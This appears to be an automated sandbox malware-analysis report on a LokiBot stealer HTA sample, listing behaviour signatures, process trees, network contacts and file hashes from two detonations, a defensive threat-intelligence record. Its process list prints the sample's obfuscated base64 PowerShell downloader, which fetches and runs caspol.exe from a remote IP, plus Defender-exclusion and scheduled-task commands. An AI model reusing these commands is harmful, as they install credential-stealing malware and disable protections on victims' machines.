Malware Analysis Report

2025-04-03 09:51

Sample ID 241119-cndwqstqar
Target 11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182.hta
SHA256 11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182
Tags
lokibot collection defense_evasion discovery execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182

Threat Level: Known bad

The file 11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182.hta was found to be: Known bad.

Malicious Activity Summary

lokibot collection defense_evasion discovery execution spyware stealer trojan

Lokibot

Lokibot family

Blocklisted process makes network request

Command and Scripting Interpreter: PowerShell

Evasion via Device Credential Deployment

Downloads MZ/PE file

Checks computer location settings

Executes dropped EXE

Loads dropped DLL

Reads user/profile data of web browsers

Accesses Microsoft Outlook profiles

Suspicious use of SetThreadContext

System Location Discovery: System Language Discovery

Enumerates physical storage devices

Scheduled Task/Job: Scheduled Task

outlook_win_path

Suspicious use of AdjustPrivilegeToken

outlook_office_path

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-19 02:13

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-19 02:13

Reported

2024-11-19 02:15

Platform

win7-20240708-en

Max time kernel

133s

Max time network

143s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182.hta"

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3048 set thread context of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2272 wrote to memory of 2796 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 2272 wrote to memory of 2796 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 2272 wrote to memory of 2796 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 2272 wrote to memory of 2796 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
PID 2796 wrote to memory of 2744 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 2744 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 2744 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 2744 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2796 wrote to memory of 2576 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2796 wrote to memory of 2576 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2796 wrote to memory of 2576 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2796 wrote to memory of 2576 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2576 wrote to memory of 1740 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2576 wrote to memory of 1740 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2576 wrote to memory of 1740 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2576 wrote to memory of 1740 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2796 wrote to memory of 3048 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2796 wrote to memory of 3048 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2796 wrote to memory of 3048 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 2796 wrote to memory of 3048 N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3048 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1296 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 3048 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 3048 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 3048 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 3048 wrote to memory of 1152 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Windows\SysWOW64\schtasks.exe
PID 3048 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3048 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3048 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3048 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3048 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3048 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3048 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3048 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3048 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe
PID 3048 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Processes

C:\Windows\SysWOW64\mshta.exe

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182.hta"

C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe

"C:\Windows\sYStem32\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe" "PowErShEll -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT ; INvoKe-eXPrEssIOn($(InvoKe-eXPRessIon('[sYsteM.tExT.eNcODing]'+[ChaR]0x3A+[cHAr]58+'utF8.GetstrIng([SYStEM.CoNVErT]'+[cHAr]58+[CHaR]58+'FROmbASE64STRinG('+[ChAR]34+'JFo3VE02ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFckRFZmluSXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnJwdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGaUVJdnlPaGJJcyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWVCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPZ2NBUnYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFo3VE02OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjEzNi8zNy9jYXNwb2wuZXhlIiwiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUiLDAsMCk7c1RBUlQtc0xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjYXNwb2wuZXhlIg=='+[CHAr]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yuimw6-o.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF171.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCF170.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\pYSJOdJUV.exe"

C:\Windows\SysWOW64\schtasks.exe

"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\pYSJOdJUV" /XML "C:\Users\Admin\AppData\Local\Temp\tmpA5FF.tmp"

C:\Users\Admin\AppData\Roaming\caspol.exe

"C:\Users\Admin\AppData\Roaming\caspol.exe"

Network

Country Destination Domain Proto
US 192.3.243.136:80 192.3.243.136 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp
DE 94.156.177.95:80 tcp

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 821a81e771be65fe5954204db1940d16
SHA1 538ae2032f6bab8c1c1ed2e68ccb7d251eaa99fd
SHA256 0e19f95bc58e413f146a01dd089b761725ac00ce7b48f8285cac491be0d088a0
SHA512 fc79fa09cf80e6e271a4b913b7258551c22651344008a5466180076822129bb11c3dcdcfd179ab48de7cce3e3c57e1cd8afae40783e4c8caa866ca6769f3f05d

\??\c:\Users\Admin\AppData\Local\Temp\yuimw6-o.cmdline

MD5 102a60e666c0d1086ff3c9e32b182e02
SHA1 75bb8fb4d160feddf56a030335210770fb0e3ab9
SHA256 995f8c3a0331cfdb8db587dbda38ba69c4948e8592d51c8eece66cd886e6a6ac
SHA512 46a9e5a197b65e784ec4dad44015af35c3db8c7c3b77a4d6695890f0c372b746dad3dab8090195305cc51f6c7296f5ed6ece79bcc1078ae94d5332b006bccc59

\??\c:\Users\Admin\AppData\Local\Temp\yuimw6-o.0.cs

MD5 f8419bbc398e1a2b134eec88b333f8f6
SHA1 57ebba4cad00272da80b919df0908ec40f9be48a
SHA256 25fccfa20b9b6d921f804167f1637df00cdd3203af9c0313f99de7c6e9989db3
SHA512 b1f4044b7a62e1de69d8e4a8ebf4db6bb24fd40d486ec5e44bd3e6b835e62ef5078c79236ded9c21ce1b0acd3575acaf1908f4fcc6ee12f1fd5f7455c4b14674

\??\c:\Users\Admin\AppData\Local\Temp\CSCF170.tmp

MD5 fdb387ca27e2ece9af03ca86ac1eaaeb
SHA1 9a00a50a6170e22078c82362159af329a0f89e9d
SHA256 dd8664c20f544fcabbf200920c8e349f8ee87d66ecf6c84a5ba507007b9bec07
SHA512 aa0e5c6e04a0eb7c0a30605b1e000ba725a20c2092098dd747d7935268dc5d6d30fffcc16448b92ebef6fca3b0d7ff1e4a58af1a36dd010ba711acd1e46a9feb

C:\Users\Admin\AppData\Local\Temp\RESF171.tmp

MD5 7da0c315186d515b9879e0aaa29c4079
SHA1 fe98f46571f9405f3fff1226b5b0a989cbe6cc2b
SHA256 b4914d0c7cd64e2c57e207770c2d2a910310b9d949704c372ced33b1e9912158
SHA512 f27d9c45fd33e33ee4d7584431d34e1424354298acbc23dccf59cf79adb1cd1dc00edf7334346d6a8b3bc3b9f964f95df3c7abd60ea53b751d8c1b1346589f67

C:\Users\Admin\AppData\Local\Temp\yuimw6-o.dll

MD5 9c009b633651fa2bcc7380066ed7a5ff
SHA1 885c854e81006873524bdb82ee25f71011a73363
SHA256 b2c124fa8a1c500ec0ea177a4383a5acf20bd75594dc50c6ac8e20b8e9e6bcab
SHA512 e04b0d909fc2e0b08eabdbc39fa1471cb45dc0e93e9334092576af34f10deddb4771c70c032d628b245c9519d5c6830025ffed096a634d5b6fee05a743814855

C:\Users\Admin\AppData\Local\Temp\yuimw6-o.pdb

MD5 fa50cd9aca039796b38569e42c251468
SHA1 9e8a1650f11f9bdf15c8738796e9ae87c4e0587a
SHA256 7f4f0a4798eaf09356f75bf39335b7939d73e63a49eb925651aaa6133589f32a
SHA512 a3a8c50fa76efd386d207e496a1789d4231c82118bb9571c3e9858bf153d499685dd29708c3a426ad77bcf43b8fe419f84dbc481e91581fae9f40febcb17ff48

C:\Users\Admin\AppData\Roaming\caspol.exe

MD5 318ff90d7a2797a041b836f7f8900f62
SHA1 fdda6afed7a1643ae353e7a635e6744c2b0a07d5
SHA256 241d0df35796a2c2ae0ae4af70ef9e6571c23536fef35c1c0c172d703203a430
SHA512 808942ba5db2e4d3d1d29a52c065acad4fcaae328dc43a3b977234f1b58d2838abf73d03b0992cd0f5ac4939e29f354c6c2ea25a4822a461b8ef74cec0eb3aac

memory/3048-35-0x0000000000C70000-0x0000000000D04000-memory.dmp

memory/3048-36-0x0000000000960000-0x0000000000972000-memory.dmp

memory/3048-37-0x0000000004EF0000-0x0000000004F54000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\tmpA5FF.tmp

MD5 ca87c471a032441db525a366f9589d2b
SHA1 4a29befb8acf406b4c19fed78b6ded2c8371a780
SHA256 d56e225da24985c6a8d2b795907c7ef8aac344238939b4c785114c605b871a0c
SHA512 86846da01561807a9bc483960fe06848453927434a2a671365eeb51d58fd947b3caa65b05616ea2b20ce3f2f2cc07a60fd06f094be3f937c8182d0971c35b680

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/1148-54-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1148-67-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1148-65-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1148-64-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1148-62-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1148-60-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1148-58-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1148-56-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3551809350-4263495960-1443967649-1000\0f5007522459c86e95ffcc62f32308f1_5a410d66-f84f-4a6b-9b29-3982febe58d9

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3551809350-4263495960-1443967649-1000\0f5007522459c86e95ffcc62f32308f1_5a410d66-f84f-4a6b-9b29-3982febe58d9

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-19 02:13

Reported

2024-11-19 02:15

Platform

win10v2004-20241007-en

Max time kernel

138s

Max time network

149s

Command Line

C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\11f9aa994a349d0b21caacb75e8b7198f1f52828628efd891aa7116b261e2182.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3392 set thread context of 2008 N/A C:\Users\Admin\AppData\Roaming\caspol.exe C:\Users\Admin\AppData\Roaming\caspol.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\schtasks.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\caspol.exe N/A

Scheduled Task/Job: Scheduled Task

persistence execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
